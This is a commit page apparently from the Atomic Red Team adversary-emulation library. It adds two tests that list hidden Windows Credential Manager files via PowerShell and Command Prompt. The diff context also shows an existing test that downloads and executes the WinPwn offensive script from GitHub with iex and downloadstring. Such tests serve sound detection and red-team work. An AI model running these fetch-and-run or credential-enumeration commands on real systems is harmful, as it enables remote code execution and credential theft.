security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update T1552.001.yaml (#2842)

Browse Source 
* Update T1552.001.yaml

New Test Added : List Credential Files via PowerShell

* Update T1552.001.yaml

Added Test List Credential Files via PowerShell , List Credential Files via Command Prompt

* Updated command lines

Updated command lines
This commit is contained in:
abhijose09
2024-07-12 20:28:48 +05:30
committed by GitHub
parent 9bf5eb6864
commit 7c51b76bcd
1 changed files with 25 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1552.001/T1552.001.yaml
+25
View File
@@ -162,3 +162,28 @@ atomic_tests:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
name: powershell
- name: List Credential Files via PowerShell
description: |
Via PowerShell,list files where credentials are stored in Windows Credential Manager
supported_platforms:
- windows
executor:
command: |
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
name: powershell
elevation_required: true
- name: List Credential Files via Command Prompt
description: |
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
supported_platforms:
- windows
executor:
command: |
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
name: command_prompt
elevation_required: true